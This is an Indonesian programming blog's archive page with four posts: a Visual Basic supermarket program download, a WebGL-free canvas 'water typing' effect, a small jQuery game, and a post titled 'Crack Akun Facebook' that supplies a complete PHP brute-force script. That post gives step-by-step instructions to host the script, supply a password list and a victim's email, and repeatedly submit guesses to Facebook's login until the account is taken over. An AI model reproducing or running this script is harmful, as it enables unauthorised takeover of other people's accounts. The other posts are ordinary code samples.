Tampilkan postingan dengan label Source Code. Tampilkan semua postingan
Tampilkan postingan dengan label Source Code. Tampilkan semua postingan

Minggu, 15 April 2012

Source Code Visual Basic Program Supermarket Gratis

Cyber4rt | Download Source Code Visual Basic Program Supermarket Gratis. Pada program ini tersedia menu pencatatan pembelian dan penjualan barang pada sebuah supermarket. Database yang di gunakan adalah ms Access 2000 sedangkan untuk membuat laporannya memakai Cristal Report. Koneksi yang di gunakan adalah menggunakan ADODB.


Okelah, bagi yang tertarik mencoba dan ingin mengopreknya, bisa di download langsung di bawah ini :

tombol download
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Minggu, 25 Maret 2012

Crack Akun Facebook Dengan Facebook Brute Force

INDOMEETING.NET - Crack Akun Facebook Dengan Facebook Brute Force dalam pertemuan kali ini saya akan memberikan script untuk melakukan Brute Force akun facebook. mungkin banyak di sana trik untuk melakukan pencurian akun facebook, namun kali berbeda karena di sini saya akan menggunakan script yang simple saja .

Pertama kali anda sediakan hosting yang mendukung PHP bisahosting gratis ataupun yang berbayar, setelah itu silahkan baca langkah-langkah berikut ini;

1. Login ke akun hosting anda sudah pasti login dulu :d.
2. Buat folder baru di hosting anda nama folder terserah anda.
3. Silahkan copy PHP CODE dan paste ke notepad lalu save dengan nama terserah anda yang pentig ekstensi nya .php lanjutkan dengan upload file ke hosting anda.
4. Buat 1 file baru dengan nama password.txt lalu isi dengan beberapa list password dan upload ke folder yang sama dengan file .php tadi.
5. Selanjutnya anda buka web anda contoh http://example.com/nama-folder/

Untuk php script nya silahkan lihat di bawah;

###############################
# Face Book Brute Forcer
################################
# WWW.INDOMEETING.NET
###############################
# Created by Sabo Tase
################################
set_time_limit(0);
$username ="email-target@email.com"; // Email target korban
$dictionary ="password.txt"; // file password

function kontrol($kullaniciadi,$sifre){
$useragent = "Opera/9.21 (Windows NT 5.1; U; tr)";
$data = "email=$kullaniciadi&pass=$sifre&login=Login" ;
$ch = curl_init('https://login.facebook.com/login.php?m&next=http://m.facebook.com/home.php');
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS, $data);
curl_setopt($ch, CURLOPT_USERAGENT, $useragent);
curl_setopt($ch, CURLOPT_COOKIEFILE, 'cookie.txt');
curl_setopt($ch, CURLOPT_COOKIEJAR, 'cookie.txt');
$source=curl_exec ($ch);
curl_close ($ch);
if(eregi("Home</title>",$source)){return true;} else {return false;}

}

if(!is_file($dictionary)){echo "$dictionary is not file";exit;}
$lines=file($dictionary);
echo "Attack Starting..<br>";
sleep(10);
echo "Attack Started, brute forcing..<br>";
foreach($lines as $line){
$line=str_replace("\r","",$line);
$line=str_replace("\n","",$line);
if(kontrol($username,$line)){echo "<font face=tahoma color=green>[+]</font><font face=tahoma> username:$username , password:$line - P
assword found : $line</font><br>";$fp=fopen('cookie.txt','w');fwrite($fp,'');exit;}
else{echo "<font face=tahoma color=brown>[-]</font><font face=tahoma> username:$username , password:$line - Password not found :
$line</font><br>";}
}
?>
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Jumat, 23 Maret 2012

Water Typing - Menulis Diatas Air

INDOMEETING.NET - water typing cara menulis di atas air dengan bantuan script water typing. Mungkin bagi semua orang menulis di atas air itu adalah hal yang mustahil, namun dengan adanya script water typing ini kita bisa berimajinasi seolah kita sedang menulis di atas air :D.

Silahkan anda mencoba nya , cukup dengan mengetikan kata di keyboard anda maka hasil kata yang anda ketik nantinya akan muncul di layar link WATER TYPING ini.



Bagi anda yang ingin membuat artikel seperti ini di blog/web anda , saya memberi kan code untuk membuat water typing ini.

Code;

<!doctype html>

<html lang="en">
<head>
<meta charset="utf-8">
<meta name="viewport" content="width=device-width, user-scalable=no, minimum-scale=1.0, maximum-scale=1.0">
<title>DANI PROJECT - WATER TYPING</title>
<style type="text/css">
body { background-color: #000000; margin: 0px; overflow: hidden; }
#info { position: absolute; top: 0px; width: 100%; color: #00a0c0; padding: 5px; font-family:Monospace; font-size:13px; text-align:center; }
</style>
</head>
<body>
<div id="container"></div>
<div id="info">Ketik beberapa teks dan tekan <b>"Enter"</b>. Gunakan <b>"Backspace"</b> atau <b>"Del"</b> untuk menghapus. <a style="color: #FFFFFF;" href="http://www.daniproject.co.de/water-typing.php">Klik</a> untuk membuat gelombang.</div>

<script type="text/javascript">

var QUALITY_X = 6, QUALITY_Y = 3,
WIDTH = Math.floor(window.innerWidth / QUALITY_X), HEIGHT = Math.floor(window.innerHeight / QUALITY_Y), SIZE = WIDTH * HEIGHT,
HEIGHT_HALF = Math.floor(HEIGHT / 2),
TEXT_OFFSETY = Math.floor((HEIGHT - 64) / 2),

context, image, data,
buffer1, buffer2, tempbuffer,

canvasHeightMap, contextHeightMap, imageHeightMap, dataHeightMap,
canvasText, contextText, imageText, dataText,

input, text,

isUserInteracting, pointers;

init();
setInterval(loop, 1000 / 60);

function init() {

var container, canvas;

container = document.getElementById('container');

// kotak input

input = document.createElement("input");
input.type = "text";
input.value = "DANI";
input.style.position = "absolute";
input.style.top = "10px";
input.style.left = "10px";
input.style.opacity = "0";
container.appendChild(input);
input.focus();

// ukuran tinggi (air)

canvasHeightMap = document.createElement("canvas");
canvasHeightMap.width = WIDTH;
canvasHeightMap.height = HEIGHT;

contextHeightMap = canvasHeightMap.getContext("2d");
imageHeightMap = contextHeightMap.getImageData(0, 0, WIDTH, HEIGHT);
dataHeightMap = imageHeightMap.data

buffer1 = [];
buffer2 = [];

for (var i = 0; i < SIZE; i ++) {

buffer1[i] = 128;
buffer2[i] = 128;
}

// teks

canvasText = document.createElement("canvas");
canvasText.width = WIDTH;
canvasText.height = 128;

contextText = canvasText.getContext("2d");
contextText.font = "50px Helvetica";
contextText.fillStyle = "rgb(255, 0, 0)";
contextText.textAlign = "center";

// hasil

canvas = document.createElement("canvas");
canvas.width = WIDTH;
canvas.height = HEIGHT;
canvas.style.width = window.innerWidth + "px";
canvas.style.height = window.innerHeight + "px";
container.appendChild(canvas);

context = canvas.getContext ("2d");
context.fillStyle = "rgb(0, 0, 0)";
context.fillRect(0, 0, WIDTH, HEIGHT);

image = context.getImageData(0, 0, WIDTH, HEIGHT);
data = image.data;

document.addEventListener('mousedown', onDocumentMouseDown, false);
document.addEventListener('mousemove', onDocumentMouseMove, false);
document.addEventListener('mouseup', onDocumentMouseUp, false);
document.addEventListener('mouseout', onDocumentMouseOut, false);
document.addEventListener('touchstart', onDocumentTouchStart, false);
document.addEventListener('touchmove', onDocumentTouchMove, false);
document.addEventListener('touchend', onDocumentTouchEnd, false);

document.addEventListener('keypress', onDocumentKeyPress, false);

}

// fungsi klik

function onDocumentMouseDown(event) {

event.preventDefault();

isUserInteracting = true;

input.focus();

pointers = [[event.clientX / QUALITY_X, event.clientY / QUALITY_Y]];

}

function onDocumentMouseMove(event) {

pointers = [[event.clientX / QUALITY_X, event.clientY / QUALITY_Y]];

}

function onDocumentMouseUp(event) {

isUserInteracting = false;

}

function onDocumentMouseOut(event) {

isUserInteracting = false;

}

function onDocumentTouchStart(event) {

isUserInteracting = true;

event.preventDefault();

pointers = [];

for (var i = 0; i < event.touches.length; i++) {

pointers.push([event.touches[i].pageX / QUALITY_X, event.touches[i].pageY / QUALITY_Y]);

}

}

function onDocumentTouchMove(event) {

event.preventDefault();

pointers = [];

for (var i = 0; i < event.touches.length; i++) {

pointers.push([event.touches[i].pageX / QUALITY_X, event.touches[i].pageY / QUALITY_Y]);

}

}

function onDocumentTouchEnd(event) {

event.preventDefault();

isUserInteracting = false;

}

function onDocumentKeyPress(event) {

switch(event.keyCode) {

case 13:
input.value = "";
break;
}

}

// cr00t

function emit(x, y) {

buffer1[Math.floor(x) + (Math.floor(y + 40) * WIDTH)] = 256;

}

function writeText(string) {

text = string;

contextText.clearRect(0, 0, WIDTH, 128);
contextText.fillText(string, WIDTH / 2, 63);

imageText = contextText.getImageData(0, 0, WIDTH, 128);
dataText = imageText.data;

}

function processText() {

for(y = 0; y < 128; y++) {

for(x = 0; x < WIDTH; x++) {

if (dataText[(x + y * WIDTH) * 4] > 0) {

emit(x, y + TEXT_OFFSETY);

}

}

}

}

function loop() {

var x, y, yz, pixel, index, indices;

if (isUserInteracting) {

for (var i = 0; i < pointers.length; i++) {

emit(pointers[i][0], pointers[i][1]);

}

}

// air

var pixel, iMax = (WIDTH * HEIGHT) - WIDTH;

for (var i = WIDTH; i < iMax; i++) {

pixel = ((buffer1[i - 1] + buffer1[i + 1] + buffer1[i - WIDTH] + buffer1[i + WIDTH]) >> 1) - buffer2[i];
buffer2[i] = pixel -= (pixel - 128) >> 4;

dataHeightMap[i * 4] = pixel > 255 ? 255 : pixel < 0 ? 0 : pixel;

}

tempbuffer = buffer1;
buffer1 = buffer2;
buffer2 = tempbuffer;

// teks

if (text != input.value) {

writeText(input.value);

}

processText();

// perspektif

indices = [];

for(x = 0; x < WIDTH; x++) {

levels = []; pixels = [];

for(y = 0; y < HEIGHT; y++) {

index = indices[y] = (x + y * WIDTH) * 4;
pixels[y] = dataHeightMap[index];
levels[y - (dataHeightMap[index] * HEIGHT >> 10) ] = y;

}

for(y = 0, yz = -1; y < HEIGHT; y++) {

pixels[y] = levels[y] > yz ? pixel = pixels[yz = levels[y]] : pixel;

index = indices[y];
data[index + 1] = pixel - 64 + (y >> 2);
data[index + 2] = pixel - 32 + (y >> 2);

}
}

context.putImageData(image, 0, 0);

}

</script>
</body>
</html>

Nah copy code di atas lalu upload ke hosting anda dan jreeeengggg selesai :D.
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Selasa, 20 Maret 2012

Membuat Permainan Sederhana Dengan Script JQuery

INDOMEETING.NET - Membuat Permainan Sederhana Dengan Script JQuery dalam artikel ini sebenernya saya hanya sedikti bermain JQuery :D tiba-tiba terinspirasi untuk membuat sebuah permainan yang lumayan lucu :P.

Dalam permainan ini anda di tugaskan untuk mengarahkan logo [bendera merah putih] ke tempat yang aman dari kejaran musuh, namun semakin lama musuh yang keluar akan semakin banyak :D , permainan ini sengaja buat untuk test keepatan dan kecermatan saja :D gak ada maksud lain.

berikut screenshot nya:


Silahkan anda coba saja permainan yang simple ini :) klik link ini [dani project]

Apabila anda ingin membuat permainan semacam ini saya berikan script untuk membuat sendiri permainan nya :D.





Script;
<html>
<head>
<title>DANI PROJECT - JS GAME</title>
<!--
dani project v.01 beta
-->
<style type="text/css">
*{
font-size:10px;
font-family: Tahoma, Verdana, Arial;
}

body{
background:#fff;
overflow:hidden;
color:#fff;
padding:8px;
}

#jagoan{
position:absolute;
top:0px;
left:0px;
height:50px;
width:50px;
background: url(http://daniproject.co.de/indonesia_flag.gif) no-repeat;
border-radius:25px;
box-shadow:0px 0px 10px #fff;
display:none;
}
.musuh{
background:

url(http://i621.photobucket.com/albums/tt296/DreDlaDy/Emoticons/run_anima

tion_by_dutchie17.gif) no-repeat;
height:45px;
width:45px;
position:absolute;
top:0px;
left:800px;
}
#area{
width:100%;
height:100%;
background:#080808;
border:1px solid #666;
}
#debug{
position:absolute;
bottom:0px;
width:100%;
height:10%;
padding:10px;
}
#crash, #time{
font-size:37px;
color:#08f;
padding:0 13px;
float:right;
}
#scorebox{
position:absolute;
background:#080808;
width:60%;
color:#08f;
padding:10px 20px;
border-radius:30px;
border:1px solid #444;
text-align:center;
}
#scorebox p{
font-size:37px;
margin:0 0 18px 0;
padding:0;
}
.restart{
background:#111;
padding:8px 18px;
font-size:15px;
border-radius:10px;
}
</style>
<script type="text/javascript"

src="https://ajax.googleapis.com/ajax/libs/jquery/1.7.1/jquery.min.js"></

script>
<script type="text/javascript">
musuhx = new Array();
musuhy = new Array();
jagoanx = 0;
jagoany = 0;
jarakx = new Array();
jaraky = new Array();
a = new Array();
b = new Array();
batas_kiri = 0;
batas_kanan = 0;
batas_atas = 0;
batas_bawah = 0;
max_musuh = 100;
xd = new Array();
yd = new Array();
animtimer = new Array();
max_crash = 3;
crash = max_crash;
hit = new Array();
i = 0;
time = 0;
ticktimer = 0;
area_width = 0;
area_height = 0;



$(document).ready(function(){
$(window).resize(function() {
area_width = parseInt($('#area').width());
area_height = parseInt($('#area').height());
var pos = $('#area').position();
batas_kiri = pos.left + 8;
batas_atas = pos.top + 8;
batas_kanan = batas_kiri + area_width - 16 - 30;
batas_bawah = batas_atas + area_height - 8 - 30;

});

$(document).bind("mousemove", function(e){
jagoanx = e.pageX;
jagoany = e.pageY;

$('#jagoan').css({
left : jagoanx - 25,
top: jagoany - 25
});
});

init();
});

function init(){
i = 0;
time = 0;
crash = max_crash;

$('#crash').html(crash);

$('#jagoan').css('display', 'block');

area_width = parseInt($('#area').width());
area_height = parseInt($('#area').height());
var pos = $('#area').position();
batas_kiri = pos.left + 8;
batas_atas = pos.top + 8;
batas_kanan = batas_kiri + area_width - 16 - 30;
batas_bawah = batas_atas + area_height - 8 - 30;

auto_create();
ticktimer = setInterval('tick()',1000);

}

function auto_create(){
if(i<max_musuh){
create_enemy(i++);
setTimeout("auto_create()", 3000);
}
}

function tick(){
time++;
var score = Math.floor((i * time /

($(document).height()*$(document).width()))*100000);
$('#time').html(score);
}

function create_enemy(i){
musuhx[i] = jagoanx + Math.floor(Math.random()*area_width) + 100;
musuhy[i] = jagoany + Math.floor(Math.random()*area_height) + 100;

jarakx[i] = Math.floor(Math.random()*55);
jaraky[i] = Math.floor(Math.random()*55);

a[i] = jarakx[i];
b[i] = jaraky[i];

xd[i] = "kiri";
yd[i] = "bawah";

animtimer[i] = 0;

hit[i] = false;

$('#area').append("<div class=\"musuh musuh" + i +"\"></div>");
animasi('.musuh'+i,i);
}

function animasi(what, index){
musuhx[index] = musuhx[index] + a[index];
musuhy[index] = musuhy[index] + b[index];
var kena = '';


var selisihx = Math.abs((musuhx[index]) - (jagoanx-25));
var selisihy = Math.abs((musuhy[index]) - (jagoany-25));
if(!hit[index]){

if((selisihx < 45) && (selisihy < 45)){
hit[index] = true;
kena = ' [ KENA ]';
$(what).css({'background-image':

'url(http://bestanimations.com/Military/Explosions/Explode-04-june.gif)',
'height':'75',
'width':'100'
});

$(what).fadeOut('slow', function(){
$(what).css({'background-image':

'url(http://i621.photobucket.com/albums/tt296/DreDlaDy/Emoticons/run_anim

ation_by_dutchie17.gif)',
'height':'45',
'width':'45',
});
musuhx[index] = jagoanx + Math.floor(Math.random()*area_width);
musuhy[index] = jagoany + Math.floor(Math.random()*area_height);
gerak(what, musuhx[index], musuhy[index]);
crash--;
$('#crash').html(crash);
$(what).fadeIn('slow');
hit[index] = false;

});
}
}
if(crash <= 0){
for(z=0;z<=animtimer.length;z++){
clearTimeout(animtimer[z]);
}
clearInterval(ticktimer);
showscore();
i = max_musuh;
}
else{
animtimer[index] = setTimeout("animasi(\'"+what+"\',"+index+")",100);
}



gerak(what, musuhx[index], musuhy[index]);

var debug_text = '';
debug_text += 'Time = ' + time + ' Enemies = ' + i + '<br>';
debug_text += 'X = ' + jagoanx + ' Y = ' + jagoany;
debug_text += '<br>Left = ' + batas_kiri + ' Top = ' + batas_atas + '

Right = ' + batas_kanan + ' Bottom = ' + batas_bawah;


debug(debug_text);


if(xd[index]=="kiri"){
a[index] = -jarakx[index];

if(musuhx[index]<batas_kiri){
xd[index] = "kanan";
}
}
else if(xd[index]!="kiri"){
a[index] = jarakx[index];

if(musuhx[index]>batas_kanan){
xd[index] = "kiri";
}
}

if(yd[index]=="bawah"){
b[index] = jaraky[index];

if(musuhy[index]>batas_bawah){
yd[index] = "atas";
}
}
else if(yd[index]!="bawah"){
b[index] = -jaraky[index];

if(musuhy[index]<batas_atas){
yd[index] = "bawah";
}
}


}

function restart(){
init();
$('.musuh').remove();
$('#scorebox').remove();
}

function showscore(){

var score = parseInt($('#time').html());
var scorebox = '<div id=\"scorebox\">';
scorebox += '<p>Your score : ' + score + '</p>';
scorebox += '<p><span class=\"restart\"

onclick=\"restart();\">Restart</span></p>';
scorebox += '</div>';
$('#area').append(scorebox);
var posx = (($('#area').width()-$('#scorebox').width())/2)+8;
var posy = (($('#area').height()-$('#scorebox').height())/2)+8;
$('#scorebox').css({
'left': posx,
'top': posy
});

}

function gerak(siapa, x, y){
$(siapa).css({
left: x,
top: y
});
}
function debug(str){
$('#stat').html(str + '<br />');
}

</script>


</head>

<body>
<div id="area"><div id="time">0</div><div id="crash">0</div>

<div id="jagoan"></div>
</div>

<div id="debug">
<table style="width:100%;"><tbody>
<tr>
<td><div id="stat"></div></td>
</tr>
</tbody></table>
</div>

</body>
</html>
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